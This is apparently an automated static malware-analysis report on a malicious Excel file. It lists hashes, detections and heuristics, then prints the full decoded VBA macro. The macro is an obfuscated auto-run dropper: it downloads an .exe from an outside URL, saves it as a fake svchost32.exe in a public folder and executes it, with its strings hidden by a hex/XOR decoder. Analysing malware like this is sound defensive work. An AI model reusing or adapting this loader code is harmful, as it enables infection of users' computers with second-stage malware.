Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c3c0d41734eaad8…

MALICIOUS

Office (OLE)

89.0 KB Created: 2020-09-07 01:54:16 First seen: 2020-09-15
MD5: f7655301df94e5915241a73c7f09c82a SHA-1: 1d5db31059217de7d23aca3b51cefbe6df891dfa SHA-256: 6c3c0d41734eaad8a82be5b2e14926a4d013eb7046fc7c666360b7e5b4b3bb20
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads a file from a URL. The Workbook_Open subroutine calls a 'Loader' function which contains a hex-encoded string. When decoded, this string resolves to 'https://thepohlfloorndation.com/KMSL.exe', which is likely the URL for a second-stage payload. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' further supports this, indicating an obfuscated loader that uses CreateObject and Shell/exec functions.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-9750767-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9750767-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY.write ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT = CreateObject(AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT = CreateObject(AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8339 bytes
SHA-256: 99004d2948a4870718c5d45b79679161e7fc5591b1207b544417887f3658ee56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Loader"68 74 74 70 73 3A 2F 2F 74 68 65 70 6F 68 6C 66 6F 75 6E 64 61 74 69 6F 6E 2E 63 6F 6D 2F 4B 4D 53 4C 2E 65 78 65"
End Sub
Public Sub Loader (Link As String)
	Range("A1:J22").Select
    	Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    	Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    	With Selection.Borders(xlEdgeLeft)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT
	With Selection.Borders(xlEdgeTop)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY
 	With Selection.Borders(xlEdgeBottom)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Dim azbsnnASPlsjj878VZBagg6712988BZHAYTAlMKPOZGAgbh
	With Selection.Borders(xlEdgeRight)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT = CreateObject(AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
	With Selection.Borders(xlInsideVertical)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY = CreateObject(AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
 	With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xlContinuous
        .ColorIndex = 0
        .TintAndShade = 0
        .Weight = xlThin
    	End With
Set azbsnnASPlsjj878VZBagg6712988BZHAYTAlMKPOZGAgbh = CreateObject(AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
 	ActiveWindow.SmallScroll Down:=-12
    	Range("A1").Select
    	ActiveCell.FormulaR1C1 = "S.No"
    	Range("B1").Select
    	ActiveCell.FormulaR1C1 = "Name"
    	Range("C1").Select
    	ActiveCell.FormulaR1C1 = "Unit"
    	Range("D1").Select
    	ActiveCell.FormulaR1C1 = "Price"
    	Range("E1").Select
    	ActiveCell.FormulaR1C1 = "Qty"
    	Range("F1:J22").Select
Url = AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR(Link)
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = False
    	End With
    	Selection.Merge
aplcbnh7689haZGSKLIopPLAOJKUBXVZCAQWRAmn67yJAH = AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .WrapText = False
        .Orientation = xlVertical
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
RUNCMD = AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S"
   	Range("F1:J22").Select
    	ActiveCell.FormulaR1C1 = "S" & Chr(10) & "u" & Chr(10) & "m" & Chr(10) & "r" & Chr(10) & "r" & Chr(10) & "y"
    	Range("F1:J22").Select
ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT.Open "G" + "E" + "T", Url, False
	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlBottom
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT.send
	Range("F1:J22").Select
    	With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlCenter
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    	End With
BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY.Type = 1
	With Selection.Font
        .Name = "Calibri"
        .Size = 14
        .Strikethrough = False
        .Superscript = False
        .Subscript = False
        .OutlineFont = False
        .Shadow = False
        .Underline = xlUnderlineStyleNone
        .ThemeColor = xlThemeColorLight1
        .TintAndShade = 0
        .ThemeFont = xlThemeFontMinor
    	End With
BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY.Open
	Selection.Font.Bold = True
BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY.write ANMAJOP8777352126763ZFAvMKOAPiPAOLGFXTRAnBXVZHAYTKLAJMZNBHSYO09AFSGT.responseBody
    	Selection.Font.Italic = True
BABOOOhzalakmcnfhy677198756aeqeagtAZOLKCBPLAZMKJU7SGDY.savetofile aplcbnh7689haZGSKLIopPLAOJKUBXVZCAQWRAmn67yJAH, 2
    	Range("L4").Select
azbsnnASPlsjj878VZBagg6712988BZHAYTAlMKPOZGAgbh.Run RUNCMD

End Sub
Function sq6bx066b922v1ql8go7lxfaw(str As String) As Variant: Dim bytes() As Byte: bytes = str: sq6bx066b922v1ql8go7lxfaw = bytes: End Function
Function s32vtm0co1rpu9pcn4qdf3rq8pv1i2wty(bytes() As Byte) As String: Dim str As String: str = bytes: s32vtm0co1rpu9pcn4qdf3rq8pv1i2wty = str: End Function

Function jh1mk9t5no0h6p1us6ewjl7yfkl4refnm(str As String) As String
    Const KoLaNBv98RqWRPXczBVJH_PL89VCG As String = "mqca131dg4bar6n5037se2gzv0dk1sn1c"
    Dim Zpo9agGH12BCvMX0TSRLAPK() As Byte, SokNAH_() As Byte
    Zpo9agGH12BCvMX0TSRLAPK = sq6bx066b922v1ql8go7lxfaw(str)
    P90VCGfAsNCBRtAU_C = sq6bx066b922v1ql8go7lxfaw(KoLaNBv98RqWRPXczBVJH_PL89VCG)
    
    Dim Sola67BChdPo_NcBBn As Long
    Sola67BChdPo_NcBBn = UBound(Zpo9agGH12BCvMX0TSRLAPK)
    
    ReDim BCVPlokIgdh67BCGF_BQAZ(0 To Sola67BChdPo_NcBBn) As Byte
    
    Dim GOP As Long
    
    For GOP = LBound(Zpo9agGH12BCvMX0TSRLAPK) To Sola67BChdPo_NcBBn:
        If Not Zpo9agGH12BCvMX0TSRLAPK(GOP) = 0 Then
            c = Zpo9agGH12BCvMX0TSRLAPK(GOP)
            For i = 0 To UBound(P90VCGfAsNCBRtAU_C):
                c = c Xor P90VCGfAsNCBRtAU_C(i)
            Next i
            BCVPlokIgdh67BCGF_BQAZ(GOP) = c
        End If
    
    Next GOP
    
    jh1mk9t5no0h6p1us6ewjl7yfkl4refnm = s32vtm0co1rpu9pcn4qdf3rq8pv1i2wty(BCVPlokIgdh67BCGF_BQAZ)
End Function


Public Function AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR(ByVal QQQQQQQQPLAhNBGAu67ZCAFFAJSUASHASIAS As String) As String
Dim f28js6x6u0zpfk1t76n2x0d23pnhqlfqu As String
Dim cc60lh0y7puju560396z46oykxrdi6u48 As String
Dim cfav4zfu0m0ei2qgke1fxwsryak04x7sr As Long
    For PLAKOIIIANMJAHXVBAGYTtt1289a0oGXHJaKLAMNBXYTAYKJAI899PALJXGAHTQWR = 1 To Len(QQQQQQQQPLAhNBGAu67ZCAFFAJSUASHASIAS) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val(jh1mk9t5no0h6p1us6ewjl7yfkl4refnm(chr(26) & "" & chr(116) ) & Mid$(QQQQQQQQPLAhNBGAu67ZCAFFAJSUASHASIAS, PLAKOIIIANMJAHXVBAGYTtt1289a0oGXHJaKLAMNBXYTAYKJAI899PALJXGAHTQWR, 2)))
        cc60lh0y7puju560396z46oykxrdi6u48 = cc60lh0y7puju560396z46oykxrdi6u48 & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next PLAKOIIIANMJAHXVBAGYTtt1289a0oGXHJaKLAMNBXYTAYKJAI899PALJXGAHTQWR
    AGHNZ989PLAKMNB67PLVZBVmn67JAHkPALOJCBYQWR = cc60lh0y7puju560396z46oykxrdi6u48
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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